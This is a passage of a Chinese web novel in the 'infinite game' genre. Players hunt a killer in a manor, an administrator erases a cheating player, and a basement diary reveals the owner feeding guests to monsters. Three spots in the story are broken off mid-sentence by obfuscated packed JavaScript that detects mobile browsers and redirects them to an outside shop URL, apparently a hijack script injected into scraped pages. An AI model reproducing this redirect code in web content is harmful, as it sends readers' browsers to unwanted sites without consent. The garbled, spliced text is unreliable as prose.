怪物的脑袋以极快的速度向身体的方向爬去,迅速融合在一起。和录像中几乎一模一样的怪物站在走廊中,头颅高得顶住天花板,肩背半弓下来,半边身子还是腐烂的,残缺不全的脸上两个血窟窿,用鼻子在黑暗中不断嗅闻。 它闻到了血腥气,半边身体还维持中锚链的状态,只有上半身可以自由活动。依靠进食本能,挥舞巨大的爪子抓向距离最近的杜曾。 杜曾双腿已废,徒劳地用两只手在地上一点点挪动,很快被巨大的阴影笼罩。 “辛苦咯。”时光彬彬有礼地向黑暗中进食的怪物一鞠躬,正要退场,闻到空气中弥漫着腐烂的气味。 没有预料中啃食骨骼、撕扯肌肉的声音,也没有哀嚎求救的声音,漆黑的走廊静得像被装进一个盒子,盒子里,只有怪物吮吸血液的吞咽声空空回荡。 时光脸上的笑意消失,她看见杜曾像一个漏了气的气球,被利爪一抓,皮囊下流出粘稠的液体,红白交汇,分明是连骨头都融化了。 她眉心一跳。 录像机的视频里,怪物杀人是物理层面的撕裂分食,和杜曾的死状不一样,他这个死状,分明是有别人下过手了。 整个人如同一个袋子装着水,却还能像正常人一样说话行动、使用道具,从外表看不出和活人有任何区别,但其实早就死了。游戏一结束,就会化为一滩尸水。 这种诡异的手法,让她想到了同在悬赏榜单的一个人。 此人独来独往,性情狠辣,习惯屠玩,下过的本鲜有幸存玩家,关于他的长相和姓名有许多版本的说法,一直没有定论。 根据他的杀人手法,悬赏榜将其称为——溶尸人。 *** 二楼。 江其深选择先开许枫的房间。 悄悄开门,没有开灯,江其深借着窗外朦胧的光线观察屋子里的陈设,屋里非常整齐,行李箱放在床脚,床铺干净整洁,枕头上一丝褶皱也没有,根本不像有人住过。 他打开行李箱,箱子里装着各类衣物,样式看上去不便宜,洗漱用品原封不动装在箱子里,没有拆用的痕迹。 房间的主人很可能没有回过这间屋子。 江其深把行李箱翻了个底朝天,没找到能够证明身份的东西,不死心的把所有物品都倒出来,终于在里侧发现一个夹层。 加开夹层,里边是两封信件。第一封是邀请函: “尊敬的芬奇先生: 很荣幸邀请您参加落日山庄的晚宴,晚宴将于8月0日晚上8点开始,我们的厨师准备好了丰盛的菜品,期待您赏脸赴宴。 山庄准备好欢迎客人们的提前入住。如若您有特别安排,请通知管家吉姆先生。我们非常乐意为您安排好一切。期待您的回复。” 落款写着老约翰。邀请函很精致,保存的非常好。江其深闭上眼,在回忆里翻动二十七张受害人的资料。找到一个姓名:卡修斯·芬奇。 男,四十五岁,身份是私家侦探,遇难地点在花园,尸体碎成十五块,头颅破损,四肢不全,保存不完好。多处部位有野兽啃食的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529131|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕迹,遗物无家人领回。 看样子可以排除许枫的嫌疑了。江其深放下邀请函,不打算在这浪费时间,想要走,目光落在第二封信上。 第二封信很旧,似乎放了很久,边角泛黄,信封的边缘有磨损的痕迹,没有标注收件人的姓名,鼓鼓囊囊地摆在衣服堆里。 江其深看了几秒,还是捡了起来。拆开信封,里边是一份很特殊的信,是用报纸上剪下的字拼出的内容。 “亲爱的芬奇先生: 我知道您在调查什么案件,我有关于这个案件的重要线索,这不是开玩笑,也不是恶作剧,请您相信我,并于8月0日前往落日山庄赴宴,在那里,您会得到您想要的答案。” 没有落款,信件中附了一些从报纸上剪下来的报道,边缘十分光滑整齐,可见裁剪的用心。报纸的内容是全国各地不同地方的失踪案,失踪的人有男有女,有老有少,看上去没什么联系。 江其深翻过信件的背部,发现背后写了几行字,看样子是这个侦探自己写的。 “已经到达落日山庄,没想到邀请函不是来自于山庄主人老约翰先生,而是……”后续一段字模糊不清,仿佛被水渍打湿,紧接着又是一段,“这出乎我的意料,从山庄的外侧完全看不出来,或许我应该立刻离开,但是这该死的好奇心,我还是决定去看看,他所说的内容太不可思议了,就像天方夜谭。这里的真相应该被揭开,世人应当知道落日之下的罪恶。” 落日之下的罪恶……江其深反复默念几遍这句话,倒退着走出房间,没有留神脚下,听见一声清脆的响,在黑夜里格外清晰,吓得他一跳,把信件往兜里一揣,抬脚一看,鞋底的玻璃碎片倒映着滴滴冷光。 是玻璃破碎发出的声音,江其深把碎片捡起来,这很像在医院打针用的那种小瓶子,碎成了几块,没有液体流出来,看样子已经用过了。 侦探需要用到药水吗?疑问在脑中一闪而过。 “你在找什么?” “!” 江其深心脏吓得漏了一拍,回头发现门口藏着一个人,躲在暗处,只露了一双眼睛偷看他。 “找到你想找的东西了吗?” 江其深咽咽唾沫,认出来那人:“……许枫。” 许枫没答他,眼睛在黑暗里锁紧江其深,随着他的动作左右转动:“白天的时候,没看见你和那个粉色头发的女生,你们一起出去了是吗?她是时光吧?悬赏榜第一的那个,和论坛里传说的一模一样。你们认识?” “不认识,我被她威胁了,”江其深眼睛都不眨一下,果断割席。谁知道那个小疯子结过多少仇,能悬赏榜第一,想杀她的人肯定不少,能少扯上关系就少扯上关系,“所以只能一起行动。” “哦……”许枫语气听上去有点遗憾,“好可惜,我以为……” 后半句含糊在喉咙里,黏得听不清,江其深上前几步,“你说什么?” 那双眼睛忽地亮起来,江其深心中警铃大作,下一秒,一只铁钳般的手勒上他的胳膊,力道之大,简直要把他胳膊生拽下来一样。 许枫的双眼在黑夜中闪烁着诡异而兴奋的光:“那就你吧,你也行,你来保护我吧……我好害怕……” “等等,你先松手,你拽疼我了……” “你保护我吧、你保护我吧、你保护我吧你保护我吧你保护我吧你保护我吧你保护我保护我保护我——” 这里没一个正常人!江其深抬脚冲他胸口使劲一踹,对方纹丝不动。衣角好像被蝴蝶翅膀扑了一下,奇怪地歪一下头。 “你没点属性数值?力气好小……”他有些忧虑,“那你能保护好我吗?” 我保护你个头!江其深忍着素质没骂出口,许枫煞有介事:“不行,我要检查下,你能不能当个好的保镖……” 他说着把江其深往门里推,力气大的挣脱不开,江其深快绝望了,许枫振振有词:“我都允许你进我房间翻东西了,你也应该回报我才对。” “那我跟你道歉行不行……”江其深有气无力,“我很脆皮的,我保护不了你。” 许枫闻言露出失望的神色,停下动作,遗憾又不甘:“好吧。那我只能杀了你了。” 不是,什么?!“等等,你不能杀我!”江其深奋力挣扎,急中生智,“时光的任务是杀我,你杀了我,她就会完成任务,游戏就结束了,你也赢不了!你也会被系统抹杀的!” “这样啊,”许枫温温柔柔笑起来,腼腆地解释,“谢谢你替我担心,系统不会抹杀我的,它检测不到我。你真是个好人,这么替我着想,那我不杀你了。你还是留下来陪我吧。” 他一只手就把江其深按在墙上,另一只手拿出一只针,针尖细得像发丝,针筒里荡漾着透明的药水,对准江其深的脖颈扎去。 “像杜曾一样,好不好?” 10. 第 10 章 系统检测不到?江其深脱口而出:“你是黑玩?!” “黑玩?”很明显,许枫不太喜欢这个称呼,微微扬起下巴,纠正道,“我们是游戏叛逃者,不受游戏的管辖,游走于秩序之外的灰色群体,享受游戏真正的自由和乐趣。” 就是开挂呗?说的那么骄傲干嘛!?江其深放弃跟神经病讲道理,试图用手捏断针头,但是这东西不知什么材料做的,看上去细细一丝,怎么掰都纹丝不动。 江其深的额头滴出汗,针尖逼近他的脖颈,扎进衣领,许枫发出轻微一声:“嗯?” 尖端抵住什么硬物,再难进入一分,紧接着江其深听见耳边传来滴滴声,骤然尖锐,金属质感的项圈骤然冷了一下,冻得他一哆嗦,针尖连同针管如拼图般碎裂开,裂痕蔓延上许枫的手臂,他尖叫一声,闪电般抽回手。 “你居然有这么狠毒的道具!” “你有资格说我吗?”江其深扭头就跑,嘴上不忘反击,“你针管里装的能是什么好东西?!” 许枫冷笑一声,“你以为你跑得掉?” 他张开手,一道刺眼的血色光芒绽放掌心。 江其深迅速点开商城栏,下拉商品清单——拉不动,本来E级玩家能购买的道具就没几个!他连翻页的资格都没有! 破损的弹弓、弯折的羽箭、没墨的水笔、吃剩的果核——举报键在哪?这破游戏给的是正经道具吗?!想害死谁啊?!! 回环形的走廊奔不到尽头,身后脚步越来越近,就在下一个拐角,江其深紧急刹车,关闭商城界面。 “嗯?不跑了?”许枫掌心的血色光芒凝结成团,不断旋转。 “其实比起花积分买道具,我还是喜欢不花钱的大规模杀伤性武器。”江其深面无表情。 许枫没听懂他在说什么,也懒得听,歪下脑袋,发动技能。 身为黑玩,他屠了不知道多少本,得到的“礼物”多的用不完,就算不溶尸,也有的是方法杀死他。 掌心的光团如捕猎的蛇般沿着地面蜿蜒窜出,张开獠牙,嘶吼弹起的瞬间,被一只黑色皮鞋踩中七寸,就地一碾,“嗤”地化为粉尘。 “不花钱的……武器?” 声音如雾气氤氲,飘忽不定,沁进人骨子里,这声音若即若离,蛊惑人心,听得人恍恍惚惚,思维也混沌迷蒙起来。 皮鞋踩定地面,地面以肉眼可见的速度生出一层薄霜,仿佛千万雪华一夜绽放,转瞬之间,江其深呼出的气带了白雾,发梢结冰。 一身西服的男人站在走廊间,他的聊天框面板还没有关,幸而游戏面板仅玩家自己可见,他目光游回最后接收到的两条消息上。 【找到黑玩了打不过再不来我就死了】 【对方发送副本位置信息】 “……” *** 这是溶尸人杀掉的第几个人? 幸存玩家还剩五个,排除江其深和时光自己,溶尸人就在剩余三人之中。詹齐和章佟警戒心强,非常排外。最有嫌疑的剩下一个许枫,昨天和杜曾结伴,最有下手的机会。 姓名可能是假的,长相也可能用道具做过修改。这种危险分子,即使不是杀人玩家,也得优先处理掉。 时光再度点击眼镜,黑暗之中,boss的身影被红色十字框出,透过墙壁进入时光的视野,看样子还在进食,被杜曾打中的半边身体难以动弹,进食的动作也显得有些呆滞。 想要把自己当诱饵,利用boss借刀杀人,得把握好时间差,在它注意力被分散时找到下一个目标。 时光奔向楼梯的方向。她的眼镜定位不了玩家。山庄里的房间太多,一间间去搜太浪费时间—— 只能用个取巧的办法了。 时光抓住楼梯扶手,向下一翻,从楼梯间的间隙纵身跃至一楼,开启眼镜的功能。 除了boss之外,山庄的npc还有管家和昨晚那个吓唬江其深的小鬼,他们也会在夜晚行动。 没人比npc更知道玩家在哪,如果想找玩家,定位npc的位置就好了。 时光从一楼的回廊开始扫视,她步履不停,跑过待客大厅和餐厅,眼镜中一片漆黑,直到餐厅尽头的拐角,不经意一瞥,脚步忽然顿住。 一道红色的十字瞄准框显现在地下位置。 这座山庄有地下的楼层吗? 时光沿着红色瞄准框的方向走过去,它的位置在餐厅的正下方,她推开餐厅,昏暗的灯光依旧闪烁不停,餐厅一览无余,四四方方的房间,连窗户也没有,除了宴会的餐桌和椅子,还有墙壁上的灯,没有其他任何东西。 时光用力踏了踏地板,地毯下发出沉重的实心声,不像是有机关。 红色瞄准框在地下继续移动,时光跟在它头顶,两人隔着地面一起移动,直到来到山庄之外的花园中心时,时光眸色暗了暗。 她听到对话声从地底响起。 声音很模糊,似乎起了争执,还有尖叫声传出来。 能听见声音,这里应该距离入口很近,时光闭上眼,在黑暗中静静分辨声音,对话声越来越近,越来越清晰,甚至能听到脚步移动的声音,时光站定原地,拔出手枪,语气平静: “切换装弹模式。” 【已切换装弹模式】 视觉界面上方浮现一行信息。 【当前装弹模式:追踪弹】 几乎是这行字显现的瞬间,“轰”的一声,地面炸开。 声浪如巨拳蛮横冲撞,碎石、断木和泥土像子弹一样飞溅,灰尘漫天飞舞,世界剧烈颤动。 时光站稳身形,右手持枪,枪口前端平稳,没有一丝颤抖,在漫天尘雾和飞溅的沙砾中,准确捕捉到窜出的人影,人影同样透过沙雾看见了她。 没有丝毫犹豫,立刻扣动扳机,子弹锁定目标,穿过人影的耳侧,击中她身后的红色十字框。 “咕……?” 半兽化的管家歪过头,看见自己缺失的半边肩膀,疑惑地发出古怪声响。 *** 江其深脸不红心不跳,丝毫不觉得羞耻。打不过就摇人,有什么问题吗? 比起花大几百积分买破烂道具,明显直接call管理员更划算啊! 府乐天偏过头,长发滑落肩膀,目光落在许枫身上。许枫脸色煞白:“监察?你怎么会联系到监察?” 怎么了?就准黑玩作弊?江其深躲他身后火上浇油:“黑玩就是他!交给你了啊!” 府乐天瘦削的肩背微微松下,似是对这番狐假虎威的猖狂感到无奈,他拎着一把没有打开的油纸伞,伞面血色的幽冥之花相继绽放,发出令人齿冷的骨骼咔吧声。 寒霜自许枫的脚下升起,仿佛来自地狱恶鬼的骨爪,牢牢抓住他的双腿,许枫当即无法动弹。 “管理员01申请数据扫描,核实黑玩身份。” 【系统接收申请,正在执行扫描】 许枫眼神忽地一暗。 游戏系统无法直接检测到黑玩,所以衍生出“监察”这群人。他们相当于移动的游戏补丁,可以一对一针对性扫描玩家的数值,将扫描数值与系统记载不匹配的黑玩就地抹杀。 监察补全了系统的漏洞。他们的权限在玩家之上,技能得到系统的极限强化,掌握着玩家的生杀大权。 许枫动弹不了,他眼看着府乐天走来,就像看见死神降临。 我不想死。 不想死不想死不想死不想死不想死监察也别想我他你们都别想杀我我不会死的会有人保护我的我会保护我自己的 强烈的不甘和愤怒从喉咙中爆出,生死一线的压力使他爆发出强大的力量,话音刚落,许枫的七窍窜出浓黑烟雾,仿佛魂魄离体,府乐天眉头一皱。 每个黑玩都有那么一两样压箱底的技能,这是他无数次屠本换来的保命的技能,足以和监察的技能强度匹敌。 浓黑的烟雾弥漫出一股呛人的霉味,仿佛在酝酿着极为不祥的东西,癫狂、腥臭、粘腻。 府乐天偏过身子退避几步,顺手拎起江其深的衣领,将他往身后一带,油纸伞“腾”一下张开,挡在烟雾前,他皱了皱鼻子,好像看见了什么脏东西,没有丝毫慌乱,有条不紊道: “取消扫描,申请执行数据清理。” 【申请通过,允许01管理员执行数据清理】 下一刻,江其深看见了极为荒诞的一幕。 赌上一切想要拼命的许枫在他面前碎成一串莹蓝色的数据。 没有生死一线的打斗和绚烂爆发的技能。所有不甘的怒吼、愤怒的咆哮、都在一串串跃动的代码中归零、清空,连一根头发丝也不剩。 绝对的权限碾压之下,连反抗这种东西都显得无比可笑。许枫还想拼,却不知道他连拼的资格都没有。 虽然这几天经历了很多前半生根本没想过的事,比如大屠杀,比如认证玩家身份,比如离奇的副本和诡异的boss。 但直到这一刻,江其深才对“这一切是场游戏”这句话有了实感。 游戏意味着什么? 意味着这一切都只是不真实的数据营造出来的幻觉。 眼前的一切是如此,府乐天是如此,他也是如此。 一瞬间,江其深觉得自己好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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府乐天无情戳破他的幻想,“监察不能参与游戏,不能帮扶玩家,否则也会破坏游戏的平衡。” “那你说什——” “但是如果你的对手是黑玩,”府乐天道,“解决黑玩在我的职责范围之内。” “——什么见外的话,你的工作就是我的工作,我会替你留意的,不用客气。” 游戏规定了低等级玩家每个月至少参与10个副本,高等级会适当减少,A级玩家至少3个副本,S级玩家至少两个。自己随机下本也是下本,下府乐天指定的本也是下本,能多个助力,这个交易对他而言不算吃亏。 府乐天点点头,监察原则上不得干扰玩家正常游戏。解决了黑玩,他化成一只血色蝴蝶,落在江其深颈侧,融入皮肤,像用朱砂笔画上去的纹身,紧接着一股幽冷的香气袭来,若有若无。 他看一眼表,已经过去一个小时了,如果时光那边顺利,应该解决至少一个杀人玩家了。但是游戏还没有结束,表示目前还没有人完成游戏任务。 凶手还没被找到。 江其深不知道时光杀的是谁,但是许枫是黑玩,第一天就和他搭档的杜曾多半已经遭到毒手,余下还有詹齐和章佟两个。 凶手或许就出在他们之中。 詹齐的房间在许枫房间左侧第三个,章佟的房间在对面,都翻一遍也不费什么功夫,江其深这么想着,正要拉开詹齐的房间门,忽然听到熟悉的声音。 “一二三——木头人——” 不是吧?这个时候了谁有空陪你做游戏啊?! 孩子的嬉笑声在走廊回荡,江其深怒从心起,仗着肩上有人,生出要和小怪物决一死战的心,门也不开了,返身往声音传来的方向跑去,决心要在这句话念完之前把小怪物抓住。 “不许说话——” 脚步声在回廊里咚咚回荡,声音越来越近,位置很低,江其深点开游戏面板,目光落在背包的第一个格子。 他登入游戏后获得的第一件物品,不是积分,也不是药水,而是一套卡牌。 卡牌总共五张,牌背统一是电银色的纹路,四张正面空白,第一张印有图案。是许枫死前不甘又愤怒的脸,好像在雨淋湿的玻璃后印上去的形状,五官模糊扭曲,看不出原本的样貌。 江其深并起双指,带有图案的卡牌出现指间。 【检测到玩家启用“礼物”,技能唤醒】 【技能名称:空白牌 技能解释:可以将周遭一定范围内死亡的玩家化为技能存入卡牌,使用时间和次数将根据技能强度和性质决定。 他人的尸体铸就你的胜利,他人的死亡将是你的福音,想要通向世界顶点吗?给这个世界带来更多死亡吧,死神是你忠诚的先锋,而你,将摘下唯一的桂冠。】 “——不许动!” 最后半句话砰地炸响。江其深抬手要打出卡牌,瞳孔一缩,赫然止步。 面前是一片空荡荡的墙壁,没有半个人影。 11. 第 11 章 声音从墙壁后传来。 江其深动作僵直一瞬,诡异的笑声在走廊里徘徊回响。捕捉到方向的一瞬间,他捏住卡牌,下一秒,就像魔术一样,卡牌消失在他手中。 江其深脑子里的思维开始混乱,无数尖叫和呐喊像过曝的噪音,无休止地高亢迸发,仅仅几秒的时间,就吵得他快疯了。强烈的愤恨和恐惧如同为黏稠的根,扎进他的脑海里。 与此同时,一张假面落在他的脸上。江其深感觉自己分成了两个部分,一个部分和临死前的许枫融为一体,被他死前的癫狂和恐慌纠缠,另一部分清醒而冷静地站在躯壳外,看着假面在脸上生根,看着自己的身体融化,像烧尽的蜡油,一滴一滴,落在地上,地面泛起层层涟漪,好像脚下踩的是深不见底的湖水,是随时可能粉身碎骨的万丈深渊。 【启用卡牌:溶解 想要溶解别人,要先溶解自己】 笔直的走廊扭得像麻花一样,江其深无法信任自己的眼睛,抬起手,凭借感觉,将苍白的五指虚虚按在传来声音墙壁上,墙壁后爆发一阵雀跃的尖叫:“你动了你动了你动了!!轮到你来做鬼了!!!” 江其深什么也听不清,他耳朵边重复着愤怒的低语,怨憎的诅咒滔滔不绝灌进耳朵,将其他声音淹没。 骨节分明的手指触及墙壁的一瞬间,墙壁像融化的冰块一样,化出一个人形的窟窿,墙壁油脂一样流到脚底。江其深没有投去半个眼神。在他的眼里,这个世界已经乱套了,声音和光线是错位的,颜色和触觉是错位的,墙壁发出刺耳尖叫,影子在地上游来游去,墙后卡着一张腐烂的头,头颅对他微笑,嘴巴一张一合,不知道说的什么。 江其深觉得自己脑袋一会儿大一会儿小,视线忽近忽远,烂脑袋像是冲过来了,他随便挥一下手,沉闷的“咕咚”声从耳膜传到脑子里,手掌一阵灼热发烫,像是用高浓度的辣椒水洗过,皮肤“滋滋”冒火,火焰不热,像幻觉。 “你怎么回事?”江其深听到肩膀边有声音飘飘忽忽传来,他张口想说话,却拿不准自己的声音,又听到那个声音继续道,“忘了你是新手……技能可以取消的。” 精神恍惚间,江其深听到系统提示: 【技能持续时间结束,冷却中】 眼前一切瞬间恢复原状,脑海里的声音消失,两个分裂的自己瞬间弥合,思路陡然清晰。 江其深一身冷汗,看见眼前融化的墙壁和被掰掉脑袋的小boss,又看看自己的手,掌心被酸性液体侵蚀,烂了一片,血肉模糊,疼劲儿后知后觉反上来,“嘶嘶”地倒吸冷气。 “你这抽到的是什么技能?”颈侧的血蝴蝶饶有兴趣,“不会用?” 江其深自己也是一头雾水,赶紧到商城兑换几瓶药水服下,“没用过。这什么鬼东西,太难用了。” 技能不应该是狂拽酷炫轰轰几下把对方炸得满天飞那种吗?他这个技能算什么?一发动先攻击自己,伤敌一千全看运气? 看在杀死怪了的份儿上,可以暂时不计较。或许是他没有找到使用技巧,收敛回心思,落在眼前融化掉的墙背后。 小boss藏身的墙壁后是一条看上去用了很久的密道,墙体融化后,密道一览无余展现在两人面前。 江其深心中隐隐浮现一个猜测,从墙壁上取下照明的煤油灯,沿着密道向深处走去。 密道的高度很高,宽度却不高,一踏进去,陈旧的烟尘气息扑面而来。仔细观察,地面和墙壁上有爪印和白骨化的尸骸。 通道的墙壁每隔一段距离就会出现一扇低矮的门,高度容不下人通过,但可以容得下那只小怪物。 这是一个专为怪物修建的密道。为了证实自己的猜测,江其深弯腰俯身,试着推开其中一扇小门。 小门的另一端连接着客房浴室的洗手池柜,通过这个通道,怪物可以畅通无阻地出现在山庄的任何一个房间。 “难怪,我记得我没有开过门窗,它却凭空出现在我卧室里。” 这是一条怪物的狩猎通道,就像山庄的影子,紧紧吸附在山庄的角落里。几乎可以想象得出来,每到夜晚,怪物沿着这条通道窥视各个房间,挑选猎物的情景。 江其深站在通道的楼梯口,楼梯没有扶手,幽深的阶梯蔓延向下,湿滑的地面渗出腥腻的气味。他仔细数着楼层,数到“负一层”时,楼梯走到尽头。 展现在他面前的,是一座“私人监狱”,每个隔间约有两三米宽,用儿臂粗的钢铁铸成囚笼,囚笼里能闻到浓烈的腥臭味,地面残存人类骸骨,墙面钉着沉重的锁链,锁链已经被挣断,断口处有兽类的爪印。 在“监狱”的入口处,有一张简陋的桌子,桌子上摊着两个本子,一个是值日日记,另外一个,江其深就比较熟悉了,是他记录的珍稀动物习性记录表格,此外还有一个摄像机,他打开摄像机,正是他在观察日记中记录的那一台,存有大量怪物的照片资料。 江其深心里一沉,拿起表格仔细看。 表格对怪物的习性记录非常详细,这些信息都被红笔标注了出来。 “山庄主人在饲养怪物,还偷走了我的资料,”江其深粗略翻过这些资料,把内容都记在脑子里,“日记中,追踪的那只怪物听见的嚎叫,很可能就是来自山庄。” 他翻开值日日记,根据日记内容来看,地下室养了五只怪物。每天都会抽出怪物的血制作成食物,送给山庄主人老约翰,老约翰认为以此可以实现不死。而代价就是要消耗大量生肉来喂养怪物,以让他们能长期持续供血。 根据日记记录,怪物在幼年时期,只需要进食生肉,不拘什么种类。成年之后,它们的只吃最新鲜的人肉。 江其深皱着眉,想到许枫房间搜出的失踪案件的剪报。 【206年7月38日 主人的生日快到了,他在一天天加速衰老,等不了太久了,计划必须加快。 为此我们举办了盛大的宴会,邀请了很多客人。相信这次可以收集足够的饲料喂养它们,很快就可以收割成熟的】 宾客是喂养怪物的饲料? 短短几行字看得人心里发毛,江其深硬着头皮继续看下去。 【206年7月39日 误闯山庄的食材已经被驯养起来了,它年纪还小,还不够上桌,或许需要再等几年,养大了可以给小少爷食用】 原来跟丢的怪物被山庄藏起来了,难怪一直找不到。江其深继续向后翻。 【206年8月0日 晚宴即将开始,这是振奋人心的一天,也是载入史册的一天。 最后一碗血已经喂主人服下,接下来,就是等待漫长的蜕茧过程。 我就知道,它们不是人类的敌人,它们会给人类带来真正的奇迹。】 【206年8月1日 重生开始了】 *** 管家的脸已经异化,一张面皮仿佛烧开的水,面皮下的肉和血咕嘟咕嘟涌动,暴起的眼珠底下像安了弹簧,颤巍巍地转向时光。 时光只开了一枪,就收回了手。这种程度的boss她解决起来不费力,但是无限游戏的副本从来不是见怪杀怪那么简单。玩家要在争取完成自己任务的同时,还要防备别人先于她完成任务,更要小心不要替别人完成任务,否则就成冤大头了。 所以,在不知道别人任务的情况下,能不做多余的事就不做。 管家狰狞咆哮,堆叠起皱的皮肤越撑越薄,终于爆开。时光向后跃起闪避,同时偏过头去,镜片扫到山庄一楼,boss已经进食完毕,拖着逐渐快速的身体向她的方向移动。 她吹了声口哨。嫌疑人最多还有三个,三选二,这个选择题不难做。 在她动身的同时,从地底跳出的詹齐和章佟也动了。 章佟的攻击率先锁定管家。她的任务是在最后一个玩家死去前杀掉本副本的终极boss。终极boss在游戏系统的分类中,通常是指对玩家威胁最大,或者对其他npc有支配力的角色。 根据章佟的观察,目前出场的npc中,捕食玩家的boss有两个,管家看上去不起眼,好像只是个微不足道的小配角。但根据她过了那么多副本的经验看来,越是不起眼的角色,越有可能有令人意外的身份。 所以她一进本就盯上了管家。果不其然,后半夜,她和詹齐目睹了管家通过秘道放出小boss,协助尸块吃人的全过程,她确信,最终boss就是这个管家无疑。 于是章佟开始迅速搜集管家弱点的资料。这种高级副本,boss通常都会有不一样的设计。作为刚从B级副本升上来的玩家,她很谨慎,在摸清boss底牌前,不敢随便出手。直到今晚跟踪管家进入密道,不小心被管家发现,情势所逼下只得出手。 不出所料,管家并非普通npc,它披着一层人类的外皮,内里却是不折不扣的怪物,彻底撕破人皮伪装后,管家的注意力集中在时光身上。 章佟意识到这是一个绝佳的好机会,只要能趁这个机会出手,拿下管家,一定可以一举终结这场游戏—— 集中全部精神,时间仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529133|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛被放缓拉长,管家的每个动作都被无限放到最慢。怪物诡异的下颌张开到崩坏的程度,三条舌头从喉咙里伸出来,张成一只钩爪的样子,向时光扑去,背后空门大露。 就是现在! 一只银质飞镖出现在章佟手中,她迅速动身,逼近管家身后,飞镖脱手,笔直向着管家后颈旋去。 就在此刻,时光右手持枪,飞身后跃,枪口稳稳瞄准管家,钩爪一样的舌头迎面冲来。一个身影在黑暗中潜行到了时光的身后。 时光似有所觉,余光扫到身后,黑影的动作比她更快,不到一秒的时间,抢先跃至她将要降落的位置。 詹齐一直在等这个机会。 他的通关条件是副本人数削减至两人时自动获得胜利。原本想要达成这个条件不算困难,但章佟的任务是杀死boss。 表面上看起来,任务没有冲突,但是如果再杀死boss时,存活玩家高于两人,詹齐会被判做未完成游戏任务,剥夺玩家资格。 同样的,如果玩家数量削减到两人,boss却没有死,章佟也会被剥夺玩家资格。 要同时击杀boss和最后一名玩家的可能性很低,两人几乎没有配合的可能,所以在章佟追问他的游戏任务时,詹齐选择了沉默。 而虽然两人一路从他E级副本和做到A级副本,但他还是不敢赌,人心易变,如果章佟背叛他,和其他玩家联手怎么办?那章佟知道他的所有底牌,他会不堪一击。 但他不会背叛章佟,他会想尽一切办法,寻找能和章佟一起赢的机会。现在机会来了。 詹齐抽出匕首,刀刃闪烁一点寒芒,他的心跳轰得耳膜快要炸开,手心紧张得出汗,咬紧牙关,盯着时光坠下的身影,屈膝、起跳。 她来不及调转枪口的,詹齐所在的位置和管家形成了前后包夹之势力,轰击管家,她就要吃下这一刀,如果调转枪口冲他,那么管家就会拔下她的脑袋。 时光必死无疑。 最后零点几秒,詹齐用尽全身的力气,在空中送出那刀。他思维一瞬间抽离,飘到出了副本之后,一切尘埃落定的时候。那时候他会挺起胸膛告诉她,你看,我说了不会背叛你,我说了会带你出去,我说到做到。 “砰!” 一声轰响,少女外套的下摆高高扬起,腰侧衣摆处破了一个窟窿,窟窿里倒映出詹齐惊愕的脸,鲜血从他胸口蔓延,仿佛一朵盛开的艳丽花朵,单薄的身体缓缓向后倒去。 风掀起外套,露出抵在腰侧的第二把枪,黑黢黢的枪口飘出一缕白烟。 少女右手持枪向前,左手握枪从右腰侧向后瞄准,双枪同时命中,她面前的庞然大物仅剩的一边肩膀被击中,被轰得向后倾倒,爪子般的舌头堪堪擦过她身侧,时光轻巧落地,将左手的枪别回腰后,收回漏风的外套底下。 “啧。” 浪费了一个杀人名额。 现在只剩一次杀人机会了。 她目光投向场上剩下的最后一个人。章佟脸色发白,目光落在倒地的詹齐身上。她双手空空, 飞镖打了出去,命中管家的后颈,怪物的脑袋只剩一层筋连着,在地上挣扎了几下,不再动弹。 游戏没有结束,管家不是终极boss,她猜错了。章佟的血都凉了。 那终极boss是谁? 她缓缓转过头,夜幕中,终于拼全身体的怪物拖动着沉重的身躯,从山庄的门口爬出来,爬到空旷的月光下。它身上大部分肌肤恢复成常人的样子,但身体还保持着怪物的模样,像一只穿着人皮的猩猩,长着一只只会盯人看的眼睛。 时光好似没有注意到怪物,拎起枪走向章佟。 “凶手是你?”时光的声音听起来有点意外。 脚步一下一下,踩在章佟的神经上。章佟满脑子都是詹齐中枪落地的片段,强迫症一样反复播放。她下意识后退,忍不住战栗,好像迎面走来的是什么吃人的恶魔。她想说话,但骇人的恐惧堵住她的喉咙,连发出求救的声音都做不到。双腿僵得抬都抬不动。 漆黑的枪口抵上她的太阳穴。 怪物的咆哮声越来越近,章佟心如死灰。辛苦积攒的道具早在地下和管家博弈的时候就消耗殆尽,刚刚扔出去的飞镖是最后一枚,她没有任何保命技能了。 她僵硬地转动脖子,从衣服的缝隙里,看见时光忽然抬起头,一道男声由远及近。 “不是她!凶手不是她——” 清亮的呼声先于怪物抵达花园上空。 “——杀山庄主人!!!” 12. 第 12 章 根据地下室藏着的值日日记可以看出,落日山庄碎尸案的真凶是山庄主人老约翰。他为了永生,在地下室豢养怪物,并四处搜集活人来喂养这些怪物。 落日山庄的宴会从一开始就是怪物的饕餮盛宴,这些宾客无一例外,全是山庄主人精心挑选的怪物饲料。 老约翰才是惨案的始作俑者,是真正的幕后黑手。 江其深的喊声落地的同时,枪口的方向偏转。下一刻,血迹斑斑的外套抛到空中,坠落的飞鸟一般,砸落地面,盖在死去的詹齐身上。 “昨晚死的人,都是晚餐时沾到的血最多的。” 